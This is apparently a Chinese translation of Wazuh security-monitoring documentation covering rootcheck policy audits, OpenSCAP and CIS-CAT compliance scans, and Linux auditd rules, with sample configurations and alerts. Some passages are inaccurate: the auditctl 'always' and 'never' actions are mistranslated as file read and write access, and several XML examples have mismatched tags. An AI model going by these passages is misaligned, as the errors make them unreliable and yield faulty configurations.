516:Unix审计 策略和合规性监视数据库通常在管理器上维护,管理器将它们分发给所有代理。 现有策略规则的示例: # PermitRootLogin not allowed # PermitRootLogin indicates if the root user can log in via ssh. $sshd_file=/etc/ssh/sshd_config; [SSH Configuration - 1: Root can log in] [any] [1] f:$sshd_file -> !r:^# && r:PermitRootLogin\.+yes; f:$sshd_file -> r:^#\s*PermitRootLogin 告警示例: ** Alert 1487185712.51190: - ossec,rootcheck, 2017 Feb 15 11:08:32 localhost->rootcheck Rule: 516 (level 3) -> 'System Audit event.' System Audit: CIS - RHEL7 - 6.2.9 - SSH Configuration - Empty passwords permitted {CIS: 6.2.9 RHEL7} {PCI_DSS: 4.1}. File: /etc/ssh/sshd_config. Reference: https://benchmarks.cisecurity.org/tools2/linux/CIS_Red_Hat_Enterprise_Linux_7_Benchmark_v1.1.0.pdf . title: CIS - RHEL7 - 6.2.9 - SSH Configuration - Empty passwords permitted file: /etc/ssh/sshd_config 1.2 配置 1.2.1 基本用法 要配置rootcheck的选项,进入Rootcheck中ossec.conf。最常见的配置选项是:频率和系统审计 配置审计策略的基本示例: <rootcheck> <system_audit>./db/system_audit_rcl.txt</system_audit> <system_audit>./db/cis_debian_linux_rcl.txt</system_audit> <system_audit>./db/cis_rhel_linux_rcl.txt</system_audit> </rootcheck> 1.2.2 配置定期扫描 这是每10小时运行一次扫描的基本配置: <rootcheck> <frequency>36000</frequency> <system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit> <system_audit>/var/ossec/etc/shared/cis_debian_linux_rcl.txt</system_audit> <system_audit>/var/ossec/etc/shared/cis_rhel_linux_rcl.txt</system_audit> <system_audit>/var/ossec/etc/shared/cis_rhel5_linux_rcl.txt</system_audit> </rootcheck> 1.2.3 Root访问SSH 1.首先,您需要创建自定义审计文件(audit_test.txt): # PermitRootLogin not allowed # PermitRootLogin indicates if the root user can log in by ssh. $sshd_file=/etc/ssh/sshd_config; [SSH Configuration - 1: Root can log in] [any] [1] f:$sshd_file -> !r:^# && r:PermitRootLogin\.+yes; f:$sshd_file -> r:^#\s*PermitRootLogin; 2.在rootcheck选项中引用我们的新文件: <rootcheck> <system_audit>/var/ossec/etc/shared/audit_test.txt</system_audit> </rootcheck> 1.3 常规问题 我可以指定自己的审计文件进行策略监控吗? 是的,您可以使用system_audit选项。示例SSH规则 2.OpenSCAP OpenSCAP wodle是OpenSCAP与Wazuh HIDS的集成,可提供执行配置的功能。它主要用于: 验证安全合规性:OpenSCAP策略定义组织中所有系统必须满足的要求,以符合适用的安全策略和安全基线。 执行漏洞评估:OpenSCAP可识别系统中的漏洞并对其进行分类。 执行专门的评估:OpenSCAP可以执行特定的自定义系统检查(即检查可疑文件名和可疑文件位置) 、 2.1 工作原理 安全内容自动化协议(SCAP)是用于以标准化方式表达和操纵安全数据的规范。SCAP使用几种规格,以自动连续监测,漏洞管理和报告安全合规性扫描的结果。 安全合规性评估过程的组成部分: SCAP扫描程序:这是一个读取SCAP策略并检查系统是否符合它的应用程序。 有许多工具可以根据SCAP策略扫描您的系统。 此Wodle与NIST认证的OpenSCAP集成扫描程序。 安全策略(SCAP内容):这些决定了系统必须如何设置以及检查的内容。 这些策略包含系统将要遵循的主机可读描述规则 配置文件:每个安全策略都可以包含多个配置文件,这些配置文件提供符合特定安全基准的规则和值集。 您可以将配置文件视为策略中特定的规则子集; 配置文件确定实际使用的策略中定义的规则以及评估期间将使用的值。 评估(扫描):这是OpenSCAP扫描程序根据特定安全策略和配置文件在代理上执行的过程。通常只需几分钟,具体取决于配置文件中选择的规则数量。 2.1.1 要求 此wodle程序在代理上执行,因此每个代理必须满足以下要求: OpenSCAP为了执行SCAP评估,我们需要扫描。如上所述,我们使用OpenSCAP。您可以使用以下命令安装它: 对于基于RPM的发行版: # yum install openscap-scanner 对于基于Debian的发行版: # apt-get install libopenscap8 xsltproc Python 2.6+ Python是这个问题的核心部分。目前所有Linux发行版都附带python。 2.1.2 默认策略 这些是Wazuh默认包含的安全策略: SOVersionFile nameMain profilesVulnerability assessment CentOS 6 ssg-centos-6-ds.xml Server, PCI N/A 7 ssg-centos-7-ds.xml Common, PCI N/A RedHat 6 ssg-rhel-6-ds.xml Server, PCI N/A cve-redhat-6-ds.xml N/A Y 7 ssg-rhel-7-ds.xml Common , PCI N/A cve-redhat-7-ds.xml N/A Y Debian 8 ssg-debian-8-ds.xml Common N/A Ubuntu xenial ssg-ubuntu-1604-ds.xml Common N/A trusty cve-debian-oval.xml N/A Y precise cve-debian-oval.xml N/A Y Fedora 24 ssg-fedora-ds.xml Common N/A 每个代理都必须有自己的策略(/var/ossec/wodles/oscap/content) Wodle处理流程 代理将根据配置定期运行openscap-scanner。扫描的每个结果都将发送到Manager,如果扫描结果的状态是失败,它将生成警报。可以调整规则以发送传输结果。 { "timestamp": "2017-03-20T15:59:43-0700", "rule": { "level": 7, "description": "OpenSCAP: Set Lockout Time For Failed Password Attempts (not passed)", "id": "81530", "firedtimes": 5, "groups": [ "oscap", "oscap-result" ], "pci_dss": [ "2.2" ] }, "agent": { "id": "1040", "name": "ip-10-0-0-76", "ip": "10.0.0.76" }, "manager": { "name": "vpc-ossec-manager" }, "full_log": "oscap: msg: \"xccdf-result\", scan-id: \"10401490050781\", content: \"ssg-centos-7-ds.xml\", title: \"Set Lockout Time For Failed Password Attempts\", id: \"xccdf_org.ssgproject.content_rule_accounts_passwords_pam_faillock_unlock_time\", result: \"fail\", severity: \"medium\", description: \"To configure the system to lock out accounts after a number of incorrect login attempts and require an administrator to unlock the account using pam_faillock.so, modify the content of both /etc/pam.d/system-auth and /etc/pam.d/password-auth as follows: add the following line immediately before the pam_unix.so statement in the AUTH section: auth required pam_faillock.so preauth silent deny= unlock_time= fail_interval= add the following line immediately after the pam_unix.so statement in the AUTH section: auth [default=die] pam_faillock.so authfail deny= unlock_time= fail_interval= add the following line immediately before the pam_unix.so statement in the ACCOUNT section: account required pam_faillock.so\", rationale: \"Locking out user accounts after a number of incorrect attempts prevents direct password guessing attacks. Ensuring that an administrator is involved in unlocking locked accounts draws appropriate attention to such situations.\" references: \"AC-7(b) (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), 47 (http://iase.disa.mil/stigs/cci/Pages/index.aspx)\", identifiers: \"CCE-26884-7 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:166\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_pci-dss\", profile-title: \"PCI-DSS v3 Control Baseline for CentOS Linux 7\".", "oscap": { "scan": { "id": "10401490050781", "content": "ssg-centos-7-ds.xml", "benchmark": { "id": "xccdf_org.ssgproject.content_benchmark_RHEL-7" }, "profile": { "id": "xccdf_org.ssgproject.content_profile_pci-dss", "title": "PCI-DSS v3 Control Baseline for CentOS Linux 7" } }, "check": { "title": "Set Lockout Time For Failed Password Attempts", "id": "xccdf_org.ssgproject.content_rule_accounts_passwords_pam_faillock_unlock_time", "result": "fail", "severity": "medium", "description": "To configure the system to lock out accounts after a number of incorrect login attempts and require an administrator to unlock the account using pam_faillock.so, modify the content of both /etc/pam.d/system-auth and /etc/pam.d/password-auth as follows: add the following line immediately before the pam_unix.so statement in the AUTH section: auth required pam_faillock.so preauth silent deny= unlock_time= fail_interval= add the following line immediately after the pam_unix.so statement in the AUTH section: auth [default=die] pam_faillock.so authfail deny= unlock_time= fail_interval= add the following line immediately before the pam_unix.so statement in the ACCOUNT section: account required pam_faillock.so", "rationale": "Locking out user accounts after a number of incorrect attempts prevents direct password guessing attacks. Ensuring that an administrator is involved in unlocking locked accounts draws appropriate attention to such situations.", "references": "AC-7(b) (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), 47 (http://iase.disa.mil/stigs/cci/Pages/index.aspx)", "identifiers": "CCE-26884-7 (http://cce.mitre.org)", "oval": { "id": "oval:ssg:def:166" } } }, "decoder": { "parent": "oscap", "name": "oscap" }, "location": "wodle_open-scap" } 扫描完成后,将发送告警事件,生成警报: { "timestamp": "2017-03-20T15:59:43-0700", "rule": { "level": 5, "description": "OpenSCAP Report overview: Score less than 80", "id": "81542", "firedtimes": 2, "groups": [ "oscap", "oscap-report" ], "pci_dss": [ "2.2" ] }, "agent": { "id": "1040", "name": "ip-10-0-0-76", "ip": "10.0.0.76" }, "manager": { "name": "vpc-ossec-manager" }, "full_log": "oscap: msg: \"xccdf-overview\", scan-id: \"10401490050797\", content: \"ssg-centos-7-ds.xml\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_common\", profile-title: \"Common Profile for General-Purpose Systems\", score: \"75.000000\".", "oscap": { "scan": { "id": "10401490050797", "content": "ssg-centos-7-ds.xml", "benchmark": { "id": "xccdf_org.ssgproject.content_benchmark_RHEL-7" }, "profile": { "id": "xccdf_org.ssgproject.content_profile_common", "title": "Common Profile for General-Purpose Systems" }, "score": "75.000000" } }, "decoder": { "parent": "oscap", "name": "oscap" }, "location": "wodle_open-scap" } 2.2 配置 2.2.1 基本用法 要配置OpenSCAP的选项,请转到ossec.conf,或有关特定选项的更多详细信息,请参阅OpenSCAP部分。 在此示例中,我们将Wazuh配置为每天运行OpenSCAP,超时时间为30分钟 <wodle name="open-scap"> <disabled>no</disabled> <timeout>1800</timeout> <interval>1d</interval> <scan-on-start>yes</scan-on-start> <content type="xccdf" path="ssg-centos-7-ds.xml"> <profile>xccdf_org.ssgproject.content_profile_pci-dss</profile> <profile>xccdf_org.ssgproject.content_profile_common</profile> </content> </wodle> 2.2.2 评估RHEL7上的PCI-DSS合规性 本节介绍如何评估Red Hat Enterprise Linux 7代理上的金融支付行业数据安全标准(PCI-DSS)合规性。 第1步:配置代理 必须正确识别每个代理,以便知道要执行的策略和配置文件。 agent:ossec.conf <client> <server> <address>10.0.1.4</address> <port>1514</port> <protocol>tcp</protocol> </server> <config-profile>redhat7</config-profile> </client> 第2步:配置管理器 我们只想在Red Hat 7服务器上执行SSG RH7策略的PCI-DSS配置文件。 manage: /var/ossec/etc/shared/default/agent.conf(假设代理在default组中): <agent_config profile="redhat7"> <wodle name="open-scap"> <content type="xccdf" path="ssg-rhel7-ds.xml"> <profile>xccdf_org.ssgproject.content_profile_pci-dss</profile> </content> </wodle> </agent_config> 第3步:重新启动管理器和代理 要应用新配置,请重新启动管理器: 对于SysV Init: # service wazuh-manager restart 现在,重新启动所有代理: 如果您愿意,可以使用选项-u <id>重新启动特定代理,其中id是代理的ID号. 第4步:查看警报 评估完成后,您将看到结果为OSSEC警报: /var/ossec/logs/alerts/alerts.log ** Alert 1463752181.32768: - oscap,rule-result,pci_dss_2.2, 2016 May 20 13:49:41 (RH_Agent) 10.0.1.7->wodle_open-scap Rule: 81529 (level 5) -> 'OpenSCAP rule failed (severity low).' oscap: msg: "rule-result", id: "47T7_Qd08gm4y8TSoD53", policy: "ssg-rhel7-ds.xml", profile: "xccdf_org.ssgproject.content_profile_pci-dss", rule_id: "xccdf_org.ssgproject.content_rule_sshd_set_idle_timeout", result: "fail", title: "Set SSH Idle Timeout Interval", ident: "CCE-26611-4", severity: "low". ** Alert 1463752181.33254: - oscap,report-overview,pci_dss_2.2, 2016 May 20 13:49:41 (RH_Agent) 10.0.1.7->wodle_open-scap Rule: 81542 (level 4) -> 'OpenSCAP Report overview: Score less than 80' oscap: msg: "report-overview", id: "47T7_Qd08gm4y8TSoD53", policy: "ssg-rhel7-ds.xml", profile: "xccdf_org.ssgproject.content_profile_pci-dss", score: "56.835060" / "100.000000", severity of failed rules: "high": "1", "medium": "9", "low": "34", "n/a": "0". 请注意,提取每个字段以便于搜索和分析。 第5步:仪表图 最后,您可以使用Kibana的OpenSCAP显示结果: 2.2.3 审计red hat产品的安全漏洞 红帽安全响应小组为影响红帽企业Linux 3,4,5,6和7的所有漏洞(由CVE名称标识)提供OVAL定义。这使用户能够执行漏洞扫描并诊断系统是否易受攻击。 第1步:配置代理 必须正确识别每个代理,以便知道要执行的策略和配置文件。 agent ossec.conf <client> <server-ip>10.0.1.4</server-ip> <config-profile>redhat7</config-profile> </client> 第2步:配置管理器 我们只想在Red Hat 7服务器上执行RedHat安全策略。 manager shared/agent.conf: <agent_config profile="redhat7"> <wodle name="open-scap"> <content type="xccdf" path="com.redhat.rhsa-RHEL7.ds.xml"/> </wodle> </agent_config> 第3步:重新启动管理器和代理 要应用新配置,请重新启动管理器: 对于SysV Init: # service wazuh-manager restart 现在,重新启动所有代理: 如果您愿意,可以使用选项-u <id>重新启动特定代理,其中id是代理的ID号. 第4步:查看警报 评估完成后,您将看到结果为OSSEC警报: /var/ossec/logs/alerts/alerts.log ** Alert 1463757700.70731: mail - oscap,rule-result,pci_dss_2.2, 2016 May 20 15:21:40 (RH_Agent) 10.0.1.7->wodle_open-scap Rule: 81531 (level 9) -> 'OpenSCAP rule failed (severity high).' oscap: msg: "rule-result", id: "I0iLEGFi4iTkxjnL9LWQ", policy: "com.redhat.rhsa-RHEL7.ds.xml", profile: "no-profiles", rule_id: "xccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20160722", result: "fail", title: "RHSA-2016:0722: openssl security update (Important)", ident: "RHSA-2016-0722, CVE-2016-0799, CVE-2016-2105, CVE-2016-2106, CVE-2016-2107, CVE-2016-2108, CVE-2016-2109, CVE-2016-2842", severity: "high". ** Alert 1463757700.71339: - oscap,report-overview,pci_dss_2.2, 2016 May 20 15:21:40 (RH_Agent) 10.0.1.7->wodle_open-scap Rule: 81540 (level 1) -> 'OpenSCAP Report overview.' oscap: msg: "report-overview", id: "I0iLEGFi4iTkxjnL9LWQ", policy: "com.redhat.rhsa-RHEL7.ds.xml", profile: "no-profiles", score: "92.617447" / "100.000000", severity of failed rules: "high": "8", "medium": "14", "low": "0", "n/a": "0". 请注意,提取每个字段以便于搜索和分析。 第5步:仪表板 最后,您可以使用Kibana的OpenSCAP显示结果: 2.2.4 覆盖超时 可以覆盖特定评估的超时: <wodle name="open-scap"> <timeout>1800</timeout> <content type="xccdf" path="ssg-centos-7-ds.xml"> <timeout>120</timeout> </content> <content type="xccdf" path="ssg-centos-6-ds.xml"/> </wodle> 2.2.5 使用配置文件 我们可以将评估仅限于策略的特定配置文件: <wodle name="open-scap"> <content type="xccdf" path="ssg-centos-7-ds.xml"> <profile>xccdf_org.ssgproject.content_profile_standard</profile> <profile>xccdf_org.ssgproject.content_profile_pci-dss</profile> </content> <content type="xccdf" path="ssg-centos-6-ds.xml"/> </wodle> 2.2.6 使用CPE字典 您还可以选择指定CPE字典文件,该文件用于确定哪些检查与特定平台相关。 <wodle name="open-scap"> <content type="xccdf" path=policy="ssg-centos-7-ds.xml"> <cpe>file.xml</cpe> </content> <content type="xccdf" path="ssg-centos-6-ds.xml" /> </wodle> 2.2.7 使用ID 您可以选择数据流文件的特定ID: <wodle name="open-scap"> <content type="xccdf" path="ssg-centos-7-ds.xml"> <datastream-id>id</datastream-id> <xccdf-id>id</xccdf-id> </content> <content type="xccdf" path="ssg-centos-6-ds.xml" /> </wodle> 2.3 常规问题 2.3.1 在代理上启用OpenSCAP wodle时是否会产生明显的性能影响? OpenSCAP wodle设计非常高效,但性能取决于oscap的速度。根据所选策略,oscap可能会消耗大量资源。我们建议您在将测试代理部署到生产系统之前在测试代理上测试策略。 2.3.2 评估是否并行执行? 不,每个评估都是按顺序执行的。此外,评估的每个简介依次执行。这使扫描需要更长的时间,但也减少了由这些扫描引起的代理负载量。 2.3.3 interval如何工作? interval是代理上后续OpenSCAP扫描开始之间的预期时间量。如果扫描时间超过配置的间隔时间,将写入“间隔超时”日志消息到/var/ossec/log/ossec.log文件中,扫描完成后立即重新开始扫描。 2.3.4 OSSEC启动时是否评估了策略? 是的,默认情况下,会在wodle启动时评估策略。您可以通过将<scan-on-start>设置为“no”来更改此设置。在这种情况下,将在指定的间隔之后执行下一次评估。当OSSEC停止时,保存Wodle状态。 2.3.5 政策在哪里? 每个agent都必须有自己的策略(/var/ossec/wodles/oscap/content)。 2.4 CIS-CAT集成 3.1.0版中的新功能。 CIS-CAT wodle开发是为了将CIS基准评估纳入Wazu agent中。 2.4.1 什么是CIS-CAT CIS(互联网安全中心)是一个致力于保护私人和公共组织免受网络威胁的组织。该组织提供CIS基准指南,这是一个公认的全球标准和保护IT系统和数据免受网络攻击的最佳的指南。 此外,CIS-CAT Pro是一个“跨平台Java应用程序”工具,用于扫描目标系统并将系统设置与CIS基准进行比较后生成的报告。有超过80个涵盖几乎所有操作系统的CIS基准测试,根据具体需要提供不同的配置文件。 2.4.2 如何运行 注意:这种集成需要CIS-CAT Pro,它是专有软件。您可以在CIS官方网站上了解有关此工具以及如何下载该工具的更多信息。 CIS-CAT Wazuh模块将CIS基准评估集成到Wazuh代理中,并以警报的形式报告每次扫描的结果。 CIS-CAT Pro是用Java编写的,因此需要Java Runtime Environment才能执行它。目前,CIS-CAT支持的JRE版本是JRE 6,7,8。按照以下步骤安装OpenJDK平台: 对于CentOS / RHEL / Fedora: # yum install java-1.8.0-openjdk 对于Debian / Ubuntu: # apt-get update && apt-get install openjdk-8-jre 注意:如果Java Runtime Environment的版本8不适用于该程序执行,请改用版本7或6。 要运行此集成,CIS-CAT工具必须驻留在运行扫描的本地代理上。但是,JRE可以位于可移动磁盘或网络驱动器上,以便在多个代理之间共享。 此外,在Unix系统中,可能需要为CIS-CAT脚本授予执行权限。为此,请从CIS-CAT目录运行以下命令: # chmod +x CIS-CAT.sh 一旦有了运行CIS评估的要求,就可以配置wodle以按您选择的时间间隔检查特定的基线。这些检查的扫描结果将发送给管理器,并在管理中以可视化显示结果: 2.4.3 典型案例:运行CIS评估 以下是如何部署CIS-CAT集成的示例: 在配置文件中ossec.conf,设置如下部分: 如果您使用的是UNIX环境: <wodle name = “cis-cat” > <disabled> no </ disabled> <timeout> 1800 </ timeout> <interval> 1d </ interval> <scan-on-start> yes </ scan-on-start> <java_path> /usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/bin </ java_path> <ciscat_path> wodles / ciscat </ ciscat_path> <content type = “xccdf” path = “benchmarks / CIS_Ubuntu_Linux_16.04_LTS_Benchmark_v1.0.0-xccdf.xml” > <profile> xccdf_org.cisecurity.benchmarks_profile_Level_2 _-_ Server </ profile> </ content> </ wodle> 如果您使用的是Windows环境: <wodle name = “cis-cat” > <disabled> no </ disabled> <timeout> 1800 </ timeout> <interval> 1d </ interval> <scan-on-start> yes </ scan-on-start> <java_path> \\ server \ jre \ bin </ java_path> <ciscat_path> C:\ cis-cat </ ciscat_path> <content type = “xccdf” path = “benchmarks \ your_windows_benchmark_file_xccdf.xml” > <profile> xccdf_org.cisecurity.benchmarks_profile_Level_2 _-_ Server </ profile> </ content> </ wodle> 确保对于Java和CIS-CAT工具的位置路径是否正确。对于这两种情况,您可以指定Wazuh安装文件夹的完整路径或相对路径。另外,在配置content部分时请考虑以下提示: 所选基线文件的位置必须由完整路径或CIS-CAT安装文件夹的相对路径。 如果未指定配置文件,则将选择通常最许可的第一个配置文件。 重新启动Wazuh代理后,将按指定的时间间隔执行基线检查,触发警报,如下所示。 有关已执行扫描和报告概述的信息 ** Alert 1518119251.42536: - ciscat, 2018 Feb 08 11:47:31 ubuntu->wodle_cis-cat Rule: 87411 (level 5) -> 'CIS-CAT Report overview: Score less than 80% (53%)' {"type":"scan_info","scan_id":1701467600,"cis":{"benchmark":"CIS Ubuntu Linux 16.04 LTS Benchmark","profile":"xccdf_org.cisecurity.benchmarks_profile_Level_2_-_Server","hostname":"ubuntu","timestamp":"2018-02-08T11:47:28.066-08:00","pass":98,"fail":85,"error":0,"unknown":1,"notchecked":36,"score":"53%"}} type: scan_info scan_id: 1701467600 cis.benchmark: CIS Ubuntu Linux 16.04 LTS Benchmark cis.profile: xccdf_org.cisecurity.benchmarks_profile_Level_2_-_Server cis.hostname: ubuntu cis.timestamp: 2018-02-08T11:47:28.066-08:00 cis.pass: 98 cis.fail: 85 cis.error: 0 cis.unknown: 1 cis.notchecked: 36 cis.score: 53% 自Wazuh v3.5.0起,报告摘要存储在代理DB中,目的是通过API进行查询。这允许每次用户想要知道最后一次扫描的结果。 有关特定结果的信息 ** Alert 1518119251.125999: - ciscat, 2018 Feb 08 11:47:31 ubuntu->wodle_cis-cat Rule: 87409 (level 7) -> 'CIS-CAT: Ensure login and logout events are collected (failed)' {"type":"scan_result","scan_id":1701467600,"cis":{"rule_id":"4.1.8","rule_title":"Ensure login and logout events are collected","group":"Logging and Auditing","description":"Monitor login and logout events. The parameters below track changes to files associated with login/logout events. The file /var/log/faillog tracks failed events from login. The file /var/log/lastlog maintain records of the last time a user successfully logged in. The file /var/log/tallylog maintains records of failures via the pam_tally2 module","rationale":"Monitoring login/logout events could provide a system administrator with information associated with brute force attacks against user logins.","remediation":"Add the following lines to the /etc/audit/audit.rules file: -w /var/log/faillog -p wa -k logins-w /var/log/lastlog -p wa -k logins-w /var/log/tallylog -p wa -k logins","result":"fail"}} type: scan_result scan_id: 1701467600 cis.rule_id: 4.1.8 cis.rule_title: Ensure login and logout events are collected cis.group: Logging and Auditing cis.description: Monitor login and logout events. The parameters below track changes to files associated with login/logout events. The file /var/log/faillog tracks failed events from login. The file /var/log/lastlog maintain records of the last time a user successfully logged in. The file /var/log/tallylog maintains records of failures via the pam_tally2 module cis.rationale: Monitoring login/logout events could provide a system administrator with information associated with brute force attacks against user logins. cis.remediation: Add the following lines to the /etc/audit/audit.rules file: -w /var/log/faillog -p wa -k logins-w /var/log/lastlog -p wa -k logins-w /var/log/tallylog -p wa -k logins cis.result: fail 2.4.4 典型案例:CIS-CAT计划执行 版本3.5.0中的新功能。 为CIS-CAT模块添加了新的计划选项,允许用户确定何时在每个代理中启动CIS扫描。 正如参考文档的CIS-CAT部分所描述的那样,我们可以使用一些新选项来预期的结果。 wodle配置的以下示例显示了在模块启动时可能性的计划。所有这些选项都与scan-on-start选项无关,该选项始终在服务启动时运行扫描。 从服务启动开始按间隔计划执行 <!-- Every 5 minutes from start --> <interval>5m</interval> 按时间计划执行 <!-- 18:00 every day --> <time>18:00</time> <!-- 5:00 every four days --> <time>5:00</time> <interval>4d</interval> 按星期计划执行 <!-- 00:00 every monday --> <wday>monday</wday> <!-- 18:00 every monday --> <wday>monday</monday> <time>18:00</time> <!-- 18:00 every monday with three weeks of frequency --> <wday>monday</monday> <time>18:00</time> <interval>3w</interval> 按月的日期安排执行 <!-- 00:00 every 20th of the month --> <day>20</day> <!-- 18:00 every 20th of the month --> <day>20</day> <time>18:00</time> <!-- 18:00, 20th every two months--> <day>20</day> <time>18:00</time> <interval>2M</interval> 六、监控系统调用 Linux Audit系统提供了一种跟踪计算机上安全相关信息的方法。 根据预先配置的规则,Audit可以详细记录有关系统上发生的事件的实时日志。 此信息对于计划任务关键型系统至关重要,可确定安全策略的违规者及其执行的操作。 1.如何运行 注意:本指南基于官方审计指南。 Audit使用一组规则来定义日志文件中要捕获的内容。可以指定三种类型的审核规则: 控制规则 允许修改审计系统的行为及其某些配置。 文件系统规则 (也称为文件监视)允许审核对特定文件或目录的访问。 系统调用规则 允许记录指定程序所进行的系统调用。 可以使用auditctl命令行实用程序以交互方式指定审计规则,但要使更改保持不变,请编辑/etc/audit/audit.rules。 注意:与Audit服务和审核日志文件交互的所有命令都需要root权限,因此您需要root或使用sudo来执行这些命令。 1.1 控制规则 一些示例说明了如何修改Audit系统的规则: auditctl -b 设置内核中现有审计缓冲区的最大数量 auditctl -e 启用/禁用审核系统或锁定其配置 auditctl -s 显示审计系统的状态 auditctl -l 列出所有当前加载的审核规则 auditctl -D 删除所有当前加载的审核规则 1.2 文件系统规则 要定义文件系统规则,请使用以下语法: -w <path> -p <permissions> -k <key_name> -w <path> 使用<path>指定要审核的文件或目录 -p <permissions> <permissions>是要审核的权限,包括以下内容: 值 r 对文件或目录的读取访问权限 w 对文件或目录的写入权限 x 对文件或目录的的执行权限 a 更改文件或目录的属性权限 -k <key_name> <key_name>是一个可选字符串,用于标识哪些规则/规则集生成特定日志行 Wazuh需要这个设置才能更准确地分析日志 例如,要定义记录/etc/passwd文件的所有写访问权以及每个属性更改的规则,请执行以下命令: # auditctl -w /etc/passwd -p wa -k passwd_changes 1.3 系统调用规则 要定义系统调用规则,请使用以下语法:: -a action,filter -S system_call -F field=value -k key_name -a <action>,<filter> 告诉内核的规则匹配引擎在规则列表的末尾附加规则; 我们必须指定要将其附加到哪个规则列表以及触发时要采取的操作. <action> always 读取对文件或目录的访问权限 never 写访问文件或目录 <filter>值指定将哪个内核规则匹配过滤器应用于事件 <filter> task 只有审计事件fork或clone syscalls,这在实际中很少使用 exit 将评估所有系统调用和文件系统审计请求。 user 这用于删除来自用户空间的一些事件;默认情况下,允许所有来自用户空间的事件 exclude 这用于排除某些事件被记录;msgtype用于告诉内核要过滤掉哪条消息 要更精细地控制要审核的事件:使用用户推出过滤器 -S <system_call> 这指定要审核的system_call;可以在单个规则中指定多个系统调用。可以使用该命令找到所有系统调用的列表 ausyscall --dump -F <field = value> 使用field = value指定其他值来缩小要审核的事件,具体取决于: 架构,组ID,进程ID等..., 多个-F选项可用于单个规则。 -k <key_name> <key_name>是一个可选字符串,用于标识哪些规则/规则集生成特定日志行。 Wazuh需要这个参数才能更准确地分析日志 例如,要定义每次由ID为500或权限更高的系统用户删除或重命名文件时创建日志条目的规则,请使用以下命令。请注意,-F auid!= 4294967295选项用于排除未设置登录UID的用户。 # auditctl -a always,exit -S unlink -S unlinkat -S rename -S renameat -F auid>=500 -F auid!=4294967295 -k delete 还可以使用系统调用规则语法定义文件系统规则。以下命令为系统调用创建一个类似于-w /etc/shadow -F perm=wa文件系统的规则: # auditctl -a always,exit -F path=/etc/shadow -F perm=wa 2.配置 2.1 基本用法 管理器 Audit会生成大量事件,使用Wazuh解码器和规则很难区分这些事件是否可写权限,读权限,执行权限,属性更改或系统调用规则相对应。这就是我们在审计规则中使用关键参数来提高Wazuh处理事件的原因。如上文所述,每个审核规则都可以选择添加描述性键值,以标识生成特定审核日志条目的规则。我们将使用CDB列表来确定有fire的审计规则的类型。此列表将具有以下语法: key_name:value Key_name 是您在文件系统规则或调用系统规则的参数-k 的值。 值有以下之一: write:具有-p w参数的文件系统规则 read:具有-p r 参数的文件系统规则。 execute::具有-p x 参数的文件系统规则。 attribute:具有-p a参数的文件系统规则 command:系统调用规则 默认情况下,OSSEC包含以下键值的CDB列表: # cat /var/ossec/etc/lists/audit-keys audit-wazuh-w:write audit-wazuh-r:read audit-wazuh-a:attribute audit-wazuh-x:execute audit-wazuh-c:command 您可以将自己的参数及其值添加到列表中,如下所示: # echo "my_key_write_type:write" >> /var/ossec/etc/lists/audit-keys 每次修改CDB列表时,都必须编译它: # /var/ossec/bin/ossec-makelists 代理 安装审核 要使用审计系统,必须在系统上安装审计软件。如果未安装此此软件,请以root用户身份执行以下命令进行安装。 Red Hat, CentOS and Fedora: # yum install audit 基于Debian和Ubuntu的Linux发行版: # apt-get install auditd 编辑ossec.conf Wazuh必须知道要审计检测到的事件。因此,需要将其配置为读取审核日志文件: <localfile> <log_format>audit</log_format> <location>/var/log/audit/audit.log</location> </localfile> 重新启动Wazuh 最后,我们必须重新启动Wazuh代理才能应用更改: 对于Systemd: # systemctl restart wazuh-agent 对于SysV Init: # service wazuh-agent restart 现在一切都准备好处理审计事件了。您只需要创建适当的审核规则(通过auditctl或/etc/audit/audit.rules) 2.2 监视对目录的访问 在此示例中,我们将监视//home目录下访问: auditctl -w /home -p w -k audit-wazuh-w auditctl -w /home -p a -k audit-wazuh-a auditctl -w /home -p r -k audit-wazuh-r auditctl -w /home -p x -k audit-wazuh-x 现在我们开始根据新的审核规则来接收警报: ** Alert 1487891035.24299: - audit,audit_configuration, 2017 Feb 23 15:03:55 localhost->/var/log/audit/audit.log Rule: 80705 (level 3) -> 'Auditd: Configuration changed' type=CONFIG_CHANGE msg=audit(1487891033.538:2936): auid=1000 ses=346 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 op="add_rule" key="audit-wazuh-w" list=4 res=1 audit.type: CONFIG_CHANGE audit.id: 2936 audit.key: audit audit.list: 4 audit.res: 1 ** Alert 1487891043.24730: - audit,audit_configuration, 2017 Feb 23 15:04:03 localhost->/var/log/audit/audit.log Rule: 80705 (level 3) -> 'Auditd: Configuration changed' type=CONFIG_CHANGE msg=audit(1487891041.427:2937): auid=1000 ses=346 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 op="add_rule" key="audit-wazuh-a" list=4 res=1 audit.type: CONFIG_CHANGE audit.id: 2937 audit.key: audit audit.list: 4 audit.res: 1 ** Alert 1487891047.25161: - audit,audit_configuration, 2017 Feb 23 15:04:07 localhost->/var/log/audit/audit.log Rule: 80705 (level 3) -> 'Auditd: Configuration changed' type=CONFIG_CHANGE msg=audit(1487891045.481:2938): auid=1000 ses=346 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 op="add_rule" key="audit-wazuh-r" list=4 res=1 audit.type: CONFIG_CHANGE audit.id: 2938 audit.key: audit audit.list: 4 audit.res: 1 ** Alert 1487891049.25592: - audit,audit_configuration, 2017 Feb 23 15:04:09 localhost->/var/log/audit/audit.log Rule: 80705 (level 3) -> 'Auditd: Configuration changed' type=CONFIG_CHANGE msg=audit(1487891049.144:2939): auid=1000 ses=346 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 op="add_rule" key="audit-wazuh-x" list=4 res=1 audit.type: CONFIG_CHANGE audit.id: 2939 audit.key: audit audit.list: 4 audit.res: 1 注意:虽然可以将先前的规则定义为指定-p 